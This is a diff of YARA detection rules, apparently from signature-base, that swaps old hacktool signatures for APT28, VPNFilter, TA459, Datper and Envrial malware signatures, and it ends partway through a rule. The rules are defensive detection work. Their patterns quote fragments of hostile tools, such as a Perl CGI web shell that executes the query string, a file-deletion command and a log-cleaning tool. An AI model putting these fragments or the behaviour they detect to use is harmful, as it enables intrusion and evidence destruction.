-		id = "071fba15-affe-539a-bcc0-c14943fff51a"
-		date = "2014-11-23"
+		description = "Detects APT28 SkinnyBoy droppers"
+		author = "Cluster25"
+		id = "ed0b2d2b-f820-57b5-9654-c24734d81996"
+		date = "2021-05-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2220-L2241"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5c5f8c1a2fa8c26f015e37db7505f7c9e0431fe8"
-		logic_hash = "cbf239330f8f1fd8be3ef3c93571c723447ca3b814fb7c1eff5ea4b2e7f5364f"
-		score = 60
+		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28.yar#L103-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9e29ed985fac8701f72f0860fe101272c3c3342ef6857e30d32f5fea14822945"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "RUSSIA, FILE"
+		hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9"
 
 	strings:
-		$s0 = " http://arm.533.net" fullword ascii
-		$s1 = "Tftpd32.hlp" fullword ascii
-		$s2 = "Timeouts and Ports should be numerical and can not be 0" fullword ascii
-		$s3 = "TFTPD32 -- " fullword wide
-		$s4 = "%d -- %s" fullword ascii
-		$s5 = "TIMEOUT while waiting for Ack block %d. file <%s>" fullword ascii
-		$s12 = "TftpPort" fullword ascii
-		$s13 = "Ttftpd32BackGround" fullword ascii
-		$s17 = "SOFTWARE\\TFTPD32" fullword ascii
+		$ = "cmd /c DEL " ascii
+		$ = {8a 08 40 84 c9 75 f9}
+		$ = {0f b7 84 0d fc fe ff ff 66 31 84 0d fc fd ff ff}
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sig_238_Iecv
+rule SIGNATURE_BASE_APT28_Skinnyboy_Launcher : RUSSIA FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file iecv.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "08126db3-267b-5289-b562-40bc264f6e3e"
-		date = "2014-11-23"
+		description = "Detects APT28 SkinnyBoy launchers"
+		author = "Cluster25"
+		id = "eaf4e8e5-cbec-5000-a2ff-31d1dac4c30f"
+		date = "2021-05-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2243-L2260"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6e6e75350a33f799039e7a024722cde463328b6d"
-		logic_hash = "e2985d85030d88cb63eb8b80673812f85aea6e11c6aeb430387cdb8886958b6a"
-		score = 60
+		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28.yar#L120-L141"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cbb7a6e0114a9556a99ab3f5601664f430b650b2de0b44fe0178a99f21082e8d"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "RUSSIA, FILE"
+		hash1 = "2a652721243f29e82bdf57b565208c59937bbb6af4ab51e7b6ba7ed270ea6bce"
 
 	strings:
-		$s1 = "Edit The Content Of Cookie " fullword wide
-		$s3 = "Accessories\\wordpad.exe" fullword ascii
-		$s4 = "gorillanation.com" fullword ascii
-		$s5 = "Before editing the content of a cookie, you should close all windows of Internet" ascii
-		$s12 = "http://nirsoft.cjb.net" fullword ascii
+		$sha = {F4 EB 56 52 AF 4B 48 EE 08 FF 9D 44 89 4B D5 66 24 61 2A 15 1D 58 14 F9 6D 97
+      13 2C 6D 07 6F 86}
+		$l1 = "CryptGetHashParam" ascii
+		$l2 = "CryptCreateHash" ascii
+		$l3 = "FindNextFile" ascii
+		$l4 = "PathAddBackslashW" ascii
+		$l5 = "PathRemoveFileSpecW" ascii
+		$h1 = {50 6A 00 6A 00 68 0C 80 00 00 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A 00
+      56 ?? ?? ?? ?? 50 FF ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ??}
+		$h2 = {8B 01 3B 02 75 10 83 C1 04 83 C2 04 83 EE 04 73 EF}
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and ($sha or ( all of ($l*) and all of ($h*)))
 }
 import "pe"
 
-rule SIGNATURE_BASE_Antiy_Ports_1_21
+rule SIGNATURE_BASE_APT28_Skinnyboy_Implanter : RUSSIA FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file Antiy Ports 1.21.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "eb53fc91-4dec-5416-a2c7-1e8256297886"
-		date = "2014-11-23"
+		description = "Detects APT28 SkinnyBoy implanter"
+		author = "Cluster25"
+		id = "c44faf95-a64c-58f4-97d4-2fe17aefc813"
+		date = "2021-05-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2262-L2277"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ebf4bcc7b6b1c42df6048d198cbe7e11cb4ae3f0"
-		logic_hash = "fb175c413faf0ca33cf166029b217aac31126d6cabc81883c16b2de2ab00c16c"
-		score = 60
+		reference = "https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28.yar#L143-L159"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f5b8944910297988ecf5aecf23d20c384cf141a3a0972baadfacc4969dc46e7c"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "RUSSIA, FILE"
+		hash1 = "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698"
 
 	strings:
-		$s0 = "AntiyPorts.EXE" fullword wide
-		$s7 = "AntiyPorts MFC Application" fullword wide
-		$s20 = " @Stego:" fullword ascii
+		$enc_string = {F3 0F 7E 05 ?? ?? ?? ?? 6? [5] 6A ?? 66 [6] 66 [7] F3 0F 7E 05 ?? ?? ?? ?? 8D
+      85 [4] 6A ?? 50 66 [7] E8}
+		$heap_ops = {8B [1-5] 03 ?? 5? 5? 6A 08 FF [1-6] FF ?? ?? ?? ?? ?? [0-6] 8B ?? [0-6] 8?}
+		$xor_cycle = { 8A 8C ?? ?? ?? ?? ?? 30 8C ?? ?? ?? ?? ?? 42 3B D0 72 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and pe.is_dll() and filesize <100KB and $xor_cycle and $heap_ops and $enc_string
 }
-import "pe"
-
-rule SIGNATURE_BASE_Perlcmd_Zip_Folder_Cmd
+rule SIGNATURE_BASE_MAL_ELF_Vpnfilter_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file cmd.cgi"
+		description = "Detects VPNFilter malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "19e4eca0-bd56-57af-afd2-ee2fc5c7c0df"
-		date = "2014-11-23"
+		id = "dc50cb37-a6e7-5eb5-9581-31d7fd005e47"
+		date = "2018-05-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2279-L2299"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "21b5dc36e72be5aca5969e221abfbbdd54053dd8"
-		logic_hash = "4391207d66b7ed5ac2db127d3efcf22f8c2bbd0ee1f0c6982d656b91e5e10c8f"
-		score = 60
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_vpnfilter.yar#L11-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aff7b1f3d4afaf883c2702287ef7d6e13e01e80222ba336978d13deb21a93614"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344"
 
 	strings:
-		$s0 = "syswrite(STDOUT, \"Content-type: text/html\\r\\n\\r\\n\", 27);" fullword ascii
-		$s1 = "s/%20/ /ig;" fullword ascii
-		$s2 = "syswrite(STDOUT, \"\\r\\n</PRE></HTML>\\r\\n\", 17);" fullword ascii
-		$s4 = "open(STDERR, \">&STDOUT\") || die \"Can't redirect STDERR\";" fullword ascii
-		$s5 = "$_ = $ENV{QUERY_STRING};" fullword ascii
-		$s6 = "$execthis = $_;" fullword ascii
-		$s7 = "system($execthis);" fullword ascii
-		$s12 = "s/%2f/\\//ig;" fullword ascii
+		$s1 = "Login=" fullword ascii
+		$s2 = "Password=" fullword ascii
+		$s3 = "%s/rep_%u.bin" fullword ascii
+		$s4 = "%s:%uh->%s:%hu" fullword ascii
+		$s5 = "Password required" fullword ascii
+		$s6 = "password=" fullword ascii
+		$s7 = "Authorization: Basic" fullword ascii
+		$s8 = "/tmUnblock.cgi" fullword ascii
 
 	condition:
-		6 of them
+		uint16(0)==0x457f and filesize <100KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Aspbackdoor_Asp3
+rule SIGNATURE_BASE_MAL_ELF_Vpnfilter_2 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file asp3.txt"
+		description = "Detects VPNFilter malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ed86e829-449b-5088-a105-f1fe79547540"
-		date = "2014-11-23"
+		id = "95356303-e8ba-585d-b2fc-af9e10b0b93f"
+		date = "2018-05-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2301-L2321"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e5588665ca6d52259f7d9d0f13de6640c4e6439c"
-		logic_hash = "c62ae1d32e93a8614a8288ce2df8e26806ab67b3b133067182f0396f0f080b78"
-		score = 60
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_vpnfilter.yar#L33-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "238ec4575fd8adbfa592e07b601313c71a08be8c776e78469aef8ad02e411798"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec"
 
 	strings:
-		$s0 = "<form action=\"changepwd.asp\" method=\"post\"> " fullword ascii
-		$s1 = "  Set oUser = GetObject(\"WinNT://ComputerName/\" & UserName) " fullword ascii
-		$s2 = "    value=\"<%=Request.ServerVariables(\"LOGIN_USER\")%>\"> " fullword ascii
-		$s14 = " Windows NT " fullword ascii
-		$s16 = " WIndows 2000 " fullword ascii
-		$s18 = "OldPwd = Request.Form(\"OldPwd\") " fullword ascii
-		$s19 = "NewPwd2 = Request.Form(\"NewPwd2\") " fullword ascii
-		$s20 = "NewPwd1 = Request.Form(\"NewPwd1\") " fullword ascii
+		$s1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)" fullword ascii
+		$s2 = "passwordPASSWORDpassword" fullword ascii
+		$s3 = "/tmp/client.key" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x457f and filesize <1000KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Fpipe
+rule SIGNATURE_BASE_MAL_ELF_Vpnfilter_3 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file FPipe.exe"
+		description = "Detects VPNFilter malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0b2f11d9-a919-5790-8724-d2f028e4fa3a"
-		date = "2014-11-23"
+		id = "020603bf-fbce-5de1-82b9-5a2dfacfada3"
+		date = "2018-05-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2323-L2341"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
-		logic_hash = "ecf143c231aeb37cf9575c3ea8db83c9a049e85a7c95668deeac0878f9c30b9c"
-		score = 60
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_vpnfilter.yar#L50-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "71152b57f2d6040608febf32441e1899fdf2479335c26c1143ea58759e6d9094"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92"
+		hash2 = "9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17"
+		hash3 = "37e29b0ea7a9b97597385a12f525e13c3a7d02ba4161a6946f2a7d978cc045b4"
+		hash4 = "0649fda8888d701eb2f91e6e0a05a2e2be714f564497c44a3813082ef8ff250b"
+		hash5 = "4b03288e9e44d214426a02327223b5e516b1ea29ce72fa25a2fcef9aa65c4b0b"
+		hash6 = "8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1"
+		hash7 = "776cb9a7a9f5afbaffdd4dbd052c6420030b2c7c3058c1455e0a79df0e6f7a1d"
 
 	strings:
-		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
-		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
-		$s2 = "source port for that outbound connection being set to 53 also." fullword ascii
-		$s3 = " -s    - outbound source port number" fullword ascii
-		$s5 = "http://www.foundstone.com" fullword ascii
-		$s20 = "Attempting to connect to %s port %d" fullword ascii
+		$sx1 = "User-Agent: Mozilla/6.1 (compatible; MSIE 9.0; Windows NT 5.3; Trident/5.0)" fullword ascii
+		$sx2 = "Execute by shell[%d]:" fullword ascii
+		$sx3 = "CONFIG.TOR.name:" fullword ascii
+		$s1 = "Executing command:  %s %s..." fullword ascii
+		$s2 = "/proc/%d/cmdline" fullword ascii
+		$a1 = "Mozilla/5.0 Firefox/50.0" fullword ascii
+		$a2 = "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0" fullword ascii
+		$a3 = "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x457f and filesize <1000KB and (1 of ($sx*) or 2 of ($s*) or 2 of ($a*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Concon
+rule SIGNATURE_BASE_SUSP_ELF_Tor_Client : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file concon.com"
+		description = "Detects VPNFilter malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ca7862cc-1053-5fce-a569-6ecc069314df"
-		date = "2014-11-23"
+		id = "1be6528d-1b60-50da-8125-2ef73b8aeb4f"
+		date = "2018-05-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2343-L2356"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "816b69eae66ba2dfe08a37fff077e79d02b95cc1"
-		logic_hash = "c45955cc59970657f8787ddc0e549939d2fa30d11cfd19fd12cd9067abb3bcd6"
-		score = 60
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_vpnfilter.yar#L80-L95"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2b67b32c5b8441c9b38e3bfeefa7f59c2767e29985adcba7d52e858847d37e47"
+		score = 65
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719"
 
 	strings:
-		$s0 = "Usage: concon \\\\ip\\sharename\\con\\con" fullword ascii
+		$x1 = "We needed to load a secret key from %s, but it was encrypted. Try 'tor --keygen' instead, so you can enter the passphrase." fullword ascii
+		$x2 = "Received a VERSION cell with odd payload length %d; closing connection." fullword ascii
+		$x3 = "Please upgrade! This version of Tor (%s) is %s, according to the directory authorities. Recommended versions are: %s" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x457f and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Aspbackdoor_Regdll
+rule SIGNATURE_BASE_TA459_Malware_May17_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file regdll.asp"
+		description = "Detects TA459 related malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "37096c50-68d0-5412-847a-022062a5ff2a"
-		date = "2014-11-23"
+		id = "eb5d2464-ab95-5f5d-8b20-fa023da53130"
+		date = "2017-05-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2358-L2374"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5c5e16a00bcb1437bfe519b707e0f5c5f63a488d"
-		logic_hash = "89606ccf4341ba9451fd1bfbc818bbcd55d45d50e06f09b9f1ecd8efb3c322af"
-		score = 60
+		reference = "https://goo.gl/RLf9qU"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta459.yar#L12-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2655d4c3a28ad2f77bbf50cd3dface7de49f675f0f974aa44d9b69c3f803da30"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5fd61793d498a395861fa263e4438183a3c4e6f1e4f098ac6e97c9d0911327bf"
 
 	strings:
-		$s1 = "exitcode = oShell.Run(\"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, " ascii
-		$s3 = "oShell.Run \"c:\\WINNT\\system32\\regsvr32.exe /u/s \" & strFile, 0, False" fullword ascii
-		$s4 = "EchoB(\"regsvr32.exe exitcode = \" & exitcode)" fullword ascii
-		$s5 = "Public Property Get oFS()" fullword ascii
+		$s3 = "xtsewy" fullword ascii
+		$s6 = "CW&mhAklnfVULL" ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x6152 and filesize <800KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Cleaniislog
+rule SIGNATURE_BASE_TA459_Malware_May17_2 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file CleanIISLog.exe"
+		description = "Detects TA459 related malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "439726c6-3262-59ef-9a54-7dcd98cf924d"
-		date = "2014-11-23"
+		id = "62954422-4657-5ded-9883-bb78eac697fb"
+		date = "2017-05-31"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2376-L2397"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "827cd898bfe8aa7e9aaefbe949d26298f9e24094"
-		logic_hash = "77a26e57b36f73d4d2730bc3a4d8485718119e2ccc80b40de3515ec688616eb9"
-		score = 60
+		reference = "https://goo.gl/RLf9qU"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ta459.yar#L28-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9904f3905672e5209df037dff1fa2e4d88ee33531096045eb9b9f7460458b6a2"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "4601133e94c4bc74916a9d96a5bc27cc3125cdc0be7225b2c7d4047f8506b3aa"
 
 	strings:
-		$s1 = "CleanIP - Specify IP Address Which You Want Clear." fullword ascii
-		$s2 = "LogFile - Specify Log File Which You Want Process." fullword ascii
-		$s8 = "CleanIISLog Ver" fullword ascii
-		$s9 = "msftpsvc" fullword ascii
-		$s10 = "Fatal Error: MFC initialization failed" fullword ascii
-		$s11 = "Specified \"ALL\" Will Process All Log Files." fullword ascii
-		$s12 = "Specified \".\" Will Clean All IP Record." fullword ascii
-		$s16 = "Service %s Stopped." fullword ascii
-		$s20 = "Process Log File %s..." fullword ascii
+		$a1 = "Mcutil.dll" fullword ascii
+		$a2 = "mcut.exe" fullword ascii
+		$s1 = "Software\\WinRAR SFX" fullword ascii
+		$s2 = "AYou may need to run this self-extracting archive as administrator" fullword wide
 
 	condition:
-		5 of them
+		( uint16(0)==0x5a4d and filesize <900KB and all of ($a*) and 1 of ($s*))
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sqlcheck
+rule SIGNATURE_BASE_Datper_Backdoor : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file sqlcheck.exe"
+		description = "Detects Datper Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a72d38ef-b2e7-5051-8538-724d9e95fa6a"
-		date = "2014-11-23"
+		id = "547db8bb-cc02-5521-8b85-845b1652fee9"
+		date = "2017-08-21"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2399-L2416"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5a5778ac200078b627db84fdc35bf5bcee232dc7"
-		logic_hash = "e9c1d7cabe7236e059f4bfec917ca00c47a3db955746ebfcda0f5e733de359c7"
-		score = 60
+		reference = "http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_tick_datper.yar#L13-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eacdc648226f20fa3847f0b5e8cafcee59cc1c6274cabb885db297f5b5fceafb"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7d70d659c421b50604ce3e0a1bf423ab7e54b9df361360933bac3bb852a31849"
+		hash2 = "331ac0965b50958db49b7794cc819b2945d7b5e5e919c185d83e997e205f107b"
+		hash3 = "90ac1fb148ded4f46949a5fea4cd8c65d4ea9585046d66459328a5866f8198b2"
+		hash4 = "12d9b4ec7f8ae42c67a6fd030efb027137dbe29e63f6f669eb932d0299fbe82f"
+		hash5 = "2384e8ad8eee6db1e69b3ee7b6b3d01ae09f99a86901a0a87fb2788c1115090c"
+		hash6 = "1e511c32cdf8abe23d8ba7c39da5ce7fc6c87fdb551c9fc3265ee22ac4076e27"
+		hash7 = "7bc042b9a599e1024a668b9921e2a42a02545429cf446d5b3d21f20185afa6ce"
 
 	strings:
-		$s0 = "Power by eyas<cooleyas@21cn.com>" fullword ascii
-		$s3 = "\\ipc$ \"\" /user:\"\"" fullword ascii
-		$s4 = "SQLCheck can only scan a class B network. Try again." fullword ascii
-		$s14 = "Example: SQLCheck 192.168.0.1 192.168.0.254" fullword ascii
-		$s20 = "Usage: SQLCheck <StartIP> <EndIP>" fullword ascii
+		$s1 = "RtlGetCo" fullword ascii
+		$s2 = "hutils" fullword ascii
+		$s3 = "kza2FWU,f;\"3U&zpa3U(W`J" fullword ascii
+		$c1 = "dkkwldngn" fullword ascii
+		$c2 = "ndkkwqgcm" fullword ascii
 
 	condition:
-		3 of them
+		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="58db98e2334746d349d607e4d73bc5ea" or pe.imphash()=="8fbed921458af485ce84fb7d9b13899e" or (2 of ($s*) and 1 of ($c*)) or ($s3 and $c1)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Runasex
+rule SIGNATURE_BASE_MAL_Envrial_Jan18_1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file RunAsEx.exe"
+		description = "Detects Encrial credential stealer malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5fe349db-c0fc-5a49-97ee-3142f4e0e4c1"
-		date = "2014-11-23"
+		id = "8be5f0d8-013f-5070-9e19-9ac522c88693"
+		date = "2018-01-21"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2418-L2436"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a22fa4e38d4bf82041d67b4ac5a6c655b2e98d35"
-		logic_hash = "dac03251539028da02c9f26f20ca751ee577c125fb4f287c61ac2ea6afb1bb28"
-		score = 60
+		reference = "https://twitter.com/malwrhunterteam/status/953313514629853184"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_envrial.yar#L11-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f047bedaac4dd934657b282a2587c55f3087a7cceb1a80becf14e7db3c365e8b"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85"
+		hash2 = "9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d"
 
 	strings:
-		$s0 = "RunAsEx By Assassin 2000. All Rights Reserved. http://www.netXeyes.com" fullword ascii
-		$s8 = "cmd.bat" fullword ascii
-		$s9 = "Note: This Program Can'nt Run With Local Machine." fullword ascii
-		$s11 = "%s Execute Succussifully." fullword ascii
-		$s12 = "winsta0" fullword ascii
-		$s15 = "Usage: RunAsEx <UserName> <Password> <Execute File> [\"Execute Option\"]" fullword ascii
+		$x1 = "/Evrial/master/domen" wide
